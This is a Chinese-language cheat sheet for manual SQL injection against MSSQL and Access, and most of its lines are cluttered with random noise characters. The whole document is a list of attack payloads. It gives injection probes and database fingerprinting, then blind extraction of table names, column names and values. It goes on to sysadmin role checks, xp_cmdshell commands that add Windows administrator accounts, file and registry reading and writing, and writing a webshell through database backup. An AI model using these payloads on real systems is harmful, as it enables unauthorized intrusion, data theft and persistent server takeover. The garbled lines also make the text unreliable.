手工脚本注入 ) E, z4 \3 h; F3 {
1.判断是否有注入;and 1=1 ;and 1=2 8 C: @, O8 t# _+ ~
$ t# T- K8 W' J! C
2.初步判断是否是mssql ;and user>0
" M1 f* ?" S5 v: ~! B) V$ C8 l; z; Y
3.注入参数是字符'and [查询条件] and ''='
/ `& F0 q1 @7 ^# ?2 }6 v5 S
1 O# G" _4 G& p' E; ?8 W( |4.搜索时没过滤参数的'and [查询条件] and '%25'='
) t, P1 ^ d8 C' @' K6 ?! W) Y6 K- t. K/ e2 {9 ^
5.判断数据库系统
6 `& \0 y% n/ ~4 q8 p;and (select count(*) from sysobjects)>0 mssql
3 k3 J% a* B+ Z. @1 j% l! P;and (select count(*) from msysobjects)>0 access : G9 k, U5 b; d* h- Y6 f
: |( C& G" f: p5 U4 G6 X6.猜数据库 ;and (select Count(*) from [数据库名])>0 ) ?; `7 e" A6 Y: \: G0 a& H0 v
5 d& c x' Z' X2 E8 x6 h! a/ a( D
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5 Q$ B1 Q0 n+ A+ }% |0 c& E
. K: ?7 X) h: c7 z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
+ m) [8 R& [8 G0 s2 k7 C) r2 c+ [3 R [: V1 t' q: Y- K
9.(1)猜字段的ascii值(access)
7 l0 n1 c. W2 u0 O$ h% ^;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9 U1 @# U; Y, g# J I+ e; n
, Z0 h4 m7 @6 |. V
(2)猜字段的ascii值(mssql) % ~' J* }# E0 H. j
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 z. w& b; j/ A* L2 _; f
4 l$ {& t3 z# I" \
10.测试权限结构(mssql)
& I$ C2 H, ]& {3 o' B$ |;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8 L4 D( F! M2 u( i n# Z8 ^0 [
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . k1 m* g. g4 q+ K
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
/ p2 r6 @$ Q; W;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ! {5 u7 B/ C1 T* ?2 ~; V
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 5 E7 J! e6 _: S# T# L; Z5 O
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6 x8 ]0 O5 T6 x% u' S8 C; |
;and 1=(select IS_MEMBER('db_owner'));-- , t1 C8 e( ~- y; ]/ l
, \0 C( v7 j' W. K; x1 w! V11.添加mssql和系统的帐户
+ n& j. e) Q. t2 [/ B; j- G;exec master.dbo.sp_addlogin username;-- . D& ?0 n6 U5 w! ^
: w; g0 {% D- ?% `# G1 h
;exec master.dbo.sp_password null,username,password;--
: H; e2 u) l6 T. l9 s+ V4 a" X
; v# j1 N3 M* g. C0 w;exec master.dbo.sp_addsrvrolemember sysadmin username;-- . \( K/ c8 y1 a$ k7 j. p! [
, a) z7 _# C8 E$ f; _, t
;exec master.dbo.xp_cmdshell 'net user username password ! T- y) z+ Y3 |* c2 W/ g
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; U& x0 h3 R0 t5 [" d
4 M4 |7 ^7 g( j/ V: e1 F. ?* l0 l% a
;exec master.dbo.xp_cmdshell 'net user username password /add';--
9 A: o5 I5 H3 n
% d+ Z! K3 I& H;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( z5 w, g2 r+ f5 g0 E
* t3 b+ M6 Z' {0 T l7 B% g12.(1)遍历目录
* `. @7 o3 J# Q# Q5 B2 W& t$ h, @4 |0 p
;create table dirs(paths varchar(100), id int) 5 d9 K& p. J- m5 h& C, H5 f
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. ^4 n- W9 m5 ?) M+ u;and (select top 1 paths from dirs)>0
3 X9 P. G5 O" k# {8 O* _. |;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
' E" o- }' [/ S! w# N9 R- i$ v; U- B
(2)遍历目录 / n2 H, p; J9 g4 q) Z9 p% m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
; ^& V* a: O0 t ?3 k;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
. Y3 V5 J) Y: L( o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & W4 W/ |" l- a+ D- s- w
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5 }* ~2 e" {1 m" }8 Q4 C9 J* g
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
! M5 B! q; p- _$ h/ A1 e2 p
0 p& ~. t q6 Q( p* f0 d B9 n13.mssql中的存储过程 2 f2 {0 O& d$ ?1 F- V# s1 B
4 R* x1 G9 y. n) m( lxp_regenumvalues 注册表根键, 子键
$ c7 z G! U/ P# O# E0 g;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 + K% d! B) T: ]$ I" }* Q! V' F% n
$ i: S- `: h# a5 g9 _' [xp_regread 根键,子键,键值名 ' e/ p" I$ j6 c# H: o
;exec xp_regread
% m4 P7 J( c5 \2 z i I'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
0 I! p1 E W' x6 @. e
5 D' h; a6 x3 ^xp_regwrite 根键,子键, 值名, 值类型, 值
* L9 Q# u* Z) n! }% J: i, ?值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 S) ?6 s/ f$ _: C$ w! l) K5 ~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 " @5 {: a! e- C* s, g. ~
9 p5 r" ]2 S7 H& ?) R+ ]0 exp_regdeletevalue 根键,子键,值名 " }8 L" K6 F! c" J* Z {, D1 O' M
/ W1 d: k6 g; I/ ^( B: zexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ; u4 W# O' {2 E: F$ R, H2 _
8 r: l. S2 y' M' l0 k/ O" exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/ S* J$ ]! B7 q1 W' [, f9 _* r6 Z- A; ~" }4 R' j+ A6 t7 s! P4 Z
14.mssql的backup创建webshell $ x; `/ t, X! b( _( \
use model
: _: E( A2 S: H' u# }create table cmd(str image);
7 M/ @# N% }# {# q1 F: Finsert into cmd(str) values ('');
0 | R7 M: d+ T) R, H1 s0 hbackup database model to disk='c:\l.asp'; : ^# S1 l9 M, z& k3 r) f) ~
( R. m; X) y# ~6 P0 z; S
15.mssql内置函数
' S4 s( H9 u, s1 X$ Z( v;and (select @@version)>0 获得Windows的版本号 ) ~7 h1 f1 ]" h- n/ N9 U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' v# H/ O% Z7 s! _* E, }% Z: @) q0 X1 i
;and (select user_name())>0 爆当前系统的连接用户
9 X1 I& E5 c6 a;and (select db_name())>0 得到当前连接的数据库 ( C) z$ n2 a% Q
! x$ c$ A+ u' J# b7 ]% b$ z16.简洁的webshell % P) _( i P" M
: C8 D6 _& R# m8 f
use model
1 W/ f2 o8 L+ J0 N# M- o! W8 A) i3 z4 [2 V4 ?( A; ^: }0 ~
create table cmd(str image);
/ W3 _& E, H" H/ a) ?5 g! s' }& H' y" K6 w) d
insert into cmd(str) values (''); # p/ S6 V4 i; J
3 U" A2 g8 K0 G% f* T% Ubackup database model to disk='g:\wwwtest\l.asp';
$ B% s, P+ r& [6 m. g ; c4 e) c9 a' q% @8 P1 z0 O! B
|